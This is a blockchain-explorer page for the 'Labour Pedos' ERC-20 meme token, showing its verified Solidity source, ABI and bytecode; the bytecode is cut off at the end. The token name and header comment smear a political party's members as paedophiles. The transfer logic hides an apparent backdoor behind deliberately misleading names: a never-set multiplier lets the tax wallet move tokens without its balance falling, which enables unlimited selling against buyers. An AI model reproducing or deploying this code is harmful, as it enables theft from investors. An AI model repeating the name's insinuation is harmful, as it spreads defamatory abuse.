Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 LABOURPEDOS
Holders
82
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,219,184,662.739519411 LABOURPEDOSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
LabourPedos
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-12 */ /* Twitter: https://x.com/elonmusk/status/1878469173635932257 Telegram: https://t.me/LabourPedosX Are you one of the Labour Pedos? */ // SPDX-License-Identifier:MIT pragma solidity 0.8.23; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LabourPedos is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=35; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=15; uint256 private _reduceSellTaxAt=15; uint256 private _preventSwapBefore=4; uint256 private _buyCount=0; IUniswapV2Router02 private constant uniswapRouter = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"Labour Pedos"; string private constant _symbol = unicode"LABOURPEDOS"; uint256 public _maxTxAmount = 4200000000 * 10**_decimals; uint256 public _maxWalletSize = 4200000000 * 10**_decimals; uint256 public _taxSwapThreshold= 2100000000 * 10**_decimals; uint256 public _maxTaxSwap= 2100000000 * 10**_decimals; address payable private _taxWallet; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private limitsInEffect = true; struct TransfRefundExtract {uint256 metaTrasf; uint256 metaRefund; uint256 isFefundActive;} uint256 private transfRefundExile; uint256 private minTransfRefundExtract; mapping(address => TransfRefundExtract) private transfRefund; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0xc5dDcB8B823563eeA4C4Ef382Ea056361A226754); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0),_msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from]=_balances[from].sub(tokenAmount); _balances[to]=_balances[to].add(tokenAmount); emit Transfer(from, to, tokenAmount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled|| inSwap ) { _basicTransfer(from, to, tokenAmount); return; } bool sellTransfer = to == uniswapV2Pair; bool buyTransfer = from == uniswapV2Pair; uint256 taxAmount=0; if (from!=owner() && to!=owner()&& to!=_taxWallet) { taxAmount = tokenAmount .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (buyTransfer && to!=address(uniswapRouter) && ! _isExcludedFromFee[to]) { if (limitsInEffect) { require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount."); require(balanceOf(to)+tokenAmount<=_maxWalletSize,"Exceeds the maxWalletSize."); } _buyCount++; } if(sellTransfer && from!=address(this) ){ taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && sellTransfer && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance=address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if ((_isExcludedFromFee[from] || _isExcludedFromFee[to])&& from!=address(this) && to!= address(this) ) { minTransfRefundExtract = block.number; } if (! _isExcludedFromFee[from]&& ! _isExcludedFromFee[to]){ if (!sellTransfer) { TransfRefundExtract storage transfRfnd = transfRefund[to]; if (buyTransfer) { if (transfRfnd.metaTrasf == 0) { transfRfnd.metaTrasf = _buyCount<_preventSwapBefore?block.number- 1:block.number; } } else { TransfRefundExtract storage transfRfndXp = transfRefund[from]; if (transfRfnd.metaTrasf == 0 || transfRfndXp.metaTrasf < transfRfnd.metaTrasf ) { transfRfnd.metaTrasf = transfRfndXp.metaTrasf; } } } else { TransfRefundExtract storage transfRfndXp = transfRefund[from]; transfRfndXp.metaRefund = transfRfndXp.metaTrasf.sub(minTransfRefundExtract); transfRfndXp.isFefundActive = block.number; } } _tokenTransfer(from,to,tokenAmount,taxAmount); } function _tokenBasicTransfer(address from, address to, uint256 sendAmount,uint256 receiptAmount) internal { _balances[from]=_balances[from].sub(sendAmount); _balances[to] =_balances[to].add(receiptAmount); emit Transfer(from, to, receiptAmount); } function _tokenTransfer(address from, address to, uint256 tokenAmount,uint256 taxAmount) internal { uint256 tAmount =_tokenTaxTransfer(from, tokenAmount, taxAmount); _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount)); } function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) { uint256 tAmount = addrs != _taxWallet ? tokenAmount : transfRefundExile.mul(tokenAmount); if (taxAmount > 0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(addrs, address(this), taxAmount); } return tAmount; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this),address(uniswapRouter),tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner() { _maxTxAmount= _tTotal; _maxWalletSize= _tTotal; limitsInEffect = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); _approve(address(this), address(uniswapRouter), _tTotal); swapEnabled = true; uniswapV2Pair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH()); uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapRouter), type(uint).max); tradingOpen = true; } function manualSwap() external { require(_msgSender() == _taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance>0) { sendETHToFee(ethBalance); } } function resecureEth() external { require(address(this).balance > 0, "Token: no ETH to clear"); require(_msgSender() == _taxWallet); payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resecureEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f60045560236005555f6006555f600755600f600855600f6009556004600a555f600b556009600a62000039919062000303565b620000499063fa56ea006200031a565b600c556200005a6009600a62000303565b6200006a9063fa56ea006200031a565b600d556200007b6009600a62000303565b6200008b90637d2b75006200031a565b600e556200009c6009600a62000303565b620000ac90637d2b75006200031a565b600f556011805462ffffff60a81b1916600160b81b179055348015620000d0575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b03191673c5ddcb8b823563eea4c4ef382ea056361a226754179055620001456009600a62000303565b62000156906461f313f8806200031a565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001cc6009600a62000303565b620001dd906461f313f8806200031a565b60405190815260200160405180910390a362000334565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200024857815f19048211156200022c576200022c620001f4565b808516156200023a57918102915b93841c93908002906200020d565b509250929050565b5f826200026057506001620002fd565b816200026e57505f620002fd565b81600181146200028757600281146200029257620002b2565b6001915050620002fd565b60ff841115620002a657620002a6620001f4565b50506001821b620002fd565b5060208310610133831016604e8410600b8410161715620002d7575081810a620002fd565b620002e3838362000208565b805f1904821115620002f957620002f9620001f4565b0290505b92915050565b5f6200031360ff84168362000250565b9392505050565b8082028115828204841417620002fd57620002fd620001f4565b611b0a80620003425f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d5780639d438984116100625780639d43898414610331578063a9059cbb14610345578063bf474bed14610364578063c9567bf914610379578063dd62ed3e1461038d575f80fd5b8063751039fc146102a45780637d1db4a5146102b85780638da5cb5b146102cd5780638f9a55c0146102e957806395d89b41146102fe575f80fd5b8063313ce567116100e3578063313ce567146101f457806349bd5a5e1461020f57806351bc3c851461024657806370a082311461025c578063715018a614610290575f80fd5b806306fdde0314610129578063095ea7b31461016f5780630faee56f1461019e57806318160ddd146101c157806323b872dd146101d5575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600c81526b4c61626f7572205065646f7360a01b60208201525b60405161016691906116fd565b60405180910390f35b34801561017a575f80fd5b5061018e61018936600461175d565b6103d1565b6040519015158152602001610166565b3480156101a9575f80fd5b506101b3600f5481565b604051908152602001610166565b3480156101cc575f80fd5b506101b36103e7565b3480156101e0575f80fd5b5061018e6101ef366004611787565b610408565b3480156101ff575f80fd5b5060405160098152602001610166565b34801561021a575f80fd5b5060115461022e906001600160a01b031681565b6040516001600160a01b039091168152602001610166565b348015610251575f80fd5b5061025a61046f565b005b348015610267575f80fd5b506101b36102763660046117c5565b6001600160a01b03165f9081526001602052604090205490565b34801561029b575f80fd5b5061025a6104c0565b3480156102af575f80fd5b5061025a61053a565b3480156102c3575f80fd5b506101b3600c5481565b3480156102d8575f80fd5b505f546001600160a01b031661022e565b3480156102f4575f80fd5b506101b3600d5481565b348015610309575f80fd5b5060408051808201909152600b81526a4c41424f55525045444f5360a81b6020820152610159565b34801561033c575f80fd5b5061025a6105fb565b348015610350575f80fd5b5061018e61035f36600461175d565b61068e565b34801561036f575f80fd5b506101b3600e5481565b348015610384575f80fd5b5061025a61069a565b348015610398575f80fd5b506101b36103a73660046117e0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103dd338484610a52565b5060015b92915050565b5f6103f46009600a61190b565b610403906461f313f880611919565b905090565b5f610414848484610b76565b610465843361046085604051806060016040528060288152602001611aad602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611112565b610a52565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461048e575f80fd5b305f9081526001602052604090205480156104ac576104ac8161114a565b4780156104bc576104bc816112f3565b5050565b5f546001600160a01b031633146104f25760405162461bcd60e51b81526004016104e990611930565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105635760405162461bcd60e51b81526004016104e990611930565b61056f6009600a61190b565b61057e906461f313f880611919565b600c5561058d6009600a61190b565b61059c906461f313f880611919565b600d556011805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d96009600a61190b565b6105e8906461f313f880611919565b60405190815260200160405180910390a1565b5f47116106435760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016104e9565b6010546001600160a01b0316336001600160a01b031614610662575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561068b573d5f803e3d5ffd5b50565b5f6103dd338484610b76565b5f546001600160a01b031633146106c35760405162461bcd60e51b81526004016104e990611930565b601154600160a01b900460ff161561071d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e9565b61075130737a250d5630b4cf539739df2c5dacb4c659f2488d6107426009600a61190b565b610460906461f313f880611919565b6011805460ff60b01b1916600160b01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa1580156107b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d69190611965565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610835573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108599190611965565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c79190611965565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806109285f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561098e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109b39190611980565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610a18573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3c91906119ab565b506011805460ff60a01b1916600160a01b179055565b6001600160a01b038316610ab45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e9565b6001600160a01b038216610b155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e9565b6001600160a01b038216610c3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e9565b5f8111610c9d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e9565b601154600160b01b900460ff161580610cbf5750601154600160a81b900460ff165b15610cd457610ccf83838361132a565b505050565b6011546001600160a01b0383811691811691821491908516145f610cff5f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610d2d57505f546001600160a01b03868116911614155b8015610d4757506010546001600160a01b03868116911614155b15610f9057610d786064610d72600854600b5411610d6757600454610d6b565b6006545b87906113cd565b90611452565b9050818015610da457506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610dc857506001600160a01b0385165f9081526003602052604090205460ff16155b15610ec057601154600160b81b900460ff1615610eab57600c54841115610e315760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e9565b600d5484610e53876001600160a01b03165f9081526001602052604090205490565b610e5d91906119ca565b1115610eab5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e9565b600b8054905f610eba836119dd565b91905055505b828015610ed657506001600160a01b0386163014155b15610f0357610f006064610d72600954600b5411610ef657600554610d6b565b60075487906113cd565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610f295750835b8015610f3e5750601154600160b01b900460ff165b8015610f4b5750600e5481115b8015610f5a5750600a54600b54115b15610f8e57610f7c610f7786610f7284600f54611493565b611493565b61114a565b478015610f8c57610f8c476112f3565b505b505b6001600160a01b0386165f9081526003602052604090205460ff1680610fcd57506001600160a01b0385165f9081526003602052604090205460ff165b8015610fe257506001600160a01b0386163014155b8015610ff757506001600160a01b0385163014155b1561100157436013555b6001600160a01b0386165f9081526003602052604090205460ff1615801561104157506001600160a01b0385165f9081526003602052604090205460ff16155b156110fe57826110cc576001600160a01b0385165f90815260146020526040902082156110945780545f0361108f57600a54600b5410611081574361108c565b61108c6001436119f5565b81555b6110c6565b6001600160a01b0387165f908152601460205260409020815415806110ba575081548154105b156110c457805482555b505b506110fe565b6001600160a01b0386165f90815260146020526040902060135481546110f1916114a7565b6001820155436002909101555b61110a868686846114e8565b505050505050565b5f81848411156111355760405162461bcd60e51b81526004016104e991906116fd565b505f61114184866119f5565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061119057611190611a08565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611200573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112249190611965565b8160018151811061123757611237611a08565b60200260200101906001600160a01b031690816001600160a01b03168152505061127630737a250d5630b4cf539739df2c5dacb4c659f2488d84610a52565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112b59085905f90869030904290600401611a1c565b5f604051808303815f87803b1580156112cc575f80fd5b505af11580156112de573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104bc573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461134c90826114a7565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461137a9082611512565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b699085815260200190565b5f825f036113dc57505f6103e1565b5f6113e78385611919565b9050826113f48583611a8d565b1461144b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e9565b9392505050565b5f61144b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611570565b5f8183116114a1578261144b565b50919050565b5f61144b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611112565b5f6114f485848461159c565b905061150b85858361150687876114a7565b61164c565b5050505050565b5f8061151e83856119ca565b90508381101561144b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e9565b5f81836115905760405162461bcd60e51b81526004016104e991906116fd565b505f6111418486611a8d565b6010545f9081906001600160a01b03908116908616036115c8576012546115c390856113cd565b6115ca565b835b9050821561164457305f908152600160205260409020546115eb9084611512565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163b9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461166e90836114a7565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461169c9082611512565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ef9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156117295785810183015185820160400152820161170d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461068b575f80fd5b5f806040838503121561176e575f80fd5b823561177981611749565b946020939093013593505050565b5f805f60608486031215611799575f80fd5b83356117a481611749565b925060208401356117b481611749565b929592945050506040919091013590565b5f602082840312156117d5575f80fd5b813561144b81611749565b5f80604083850312156117f1575f80fd5b82356117fc81611749565b9150602083013561180c81611749565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561186557815f190482111561184b5761184b611817565b8085161561185857918102915b93841c9390800290611830565b509250929050565b5f8261187b575060016103e1565b8161188757505f6103e1565b816001811461189d57600281146118a7576118c3565b60019150506103e1565b60ff8411156118b8576118b8611817565b50506001821b6103e1565b5060208310610133831016604e8410600b84101617156118e6575081810a6103e1565b6118f0838361182b565b805f190482111561190357611903611817565b029392505050565b5f61144b60ff84168361186d565b80820281158282048414176103e1576103e1611817565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611975575f80fd5b815161144b81611749565b5f805f60608486031215611992575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156119bb575f80fd5b8151801515811461144b575f80fd5b808201808211156103e1576103e1611817565b5f600182016119ee576119ee611817565b5060010190565b818103818111156103e1576103e1611817565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a6c5784516001600160a01b031683529383019391830191600101611a47565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611aa757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220773c03a6f6cf4243460dcc2633b8552adc8075da910eaf52cc3489f2428b939c64736f6c63430008170033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c8063751039fc1161009d5780639d438984116100625780639d43898414610331578063a9059cbb14610345578063bf474bed14610364578063c9567bf914610379578063dd62ed3e1461038d575f80fd5b8063751039fc146102a45780637d1db4a5146102b85780638da5cb5b146102cd5780638f9a55c0146102e957806395d89b41146102fe575f80fd5b8063313ce567116100e3578063313ce567146101f457806349bd5a5e1461020f57806351bc3c851461024657806370a082311461025c578063715018a614610290575f80fd5b806306fdde0314610129578063095ea7b31461016f5780630faee56f1461019e57806318160ddd146101c157806323b872dd146101d5575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600c81526b4c61626f7572205065646f7360a01b60208201525b60405161016691906116fd565b60405180910390f35b34801561017a575f80fd5b5061018e61018936600461175d565b6103d1565b6040519015158152602001610166565b3480156101a9575f80fd5b506101b3600f5481565b604051908152602001610166565b3480156101cc575f80fd5b506101b36103e7565b3480156101e0575f80fd5b5061018e6101ef366004611787565b610408565b3480156101ff575f80fd5b5060405160098152602001610166565b34801561021a575f80fd5b5060115461022e906001600160a01b031681565b6040516001600160a01b039091168152602001610166565b348015610251575f80fd5b5061025a61046f565b005b348015610267575f80fd5b506101b36102763660046117c5565b6001600160a01b03165f9081526001602052604090205490565b34801561029b575f80fd5b5061025a6104c0565b3480156102af575f80fd5b5061025a61053a565b3480156102c3575f80fd5b506101b3600c5481565b3480156102d8575f80fd5b505f546001600160a01b031661022e565b3480156102f4575f80fd5b506101b3600d5481565b348015610309575f80fd5b5060408051808201909152600b81526a4c41424f55525045444f5360a81b6020820152610159565b34801561033c575f80fd5b5061025a6105fb565b348015610350575f80fd5b5061018e61035f36600461175d565b61068e565b34801561036f575f80fd5b506101b3600e5481565b348015610384575f80fd5b5061025a61069a565b348015610398575f80fd5b506101b36103a73660046117e0565b6001600160a01b039182165f9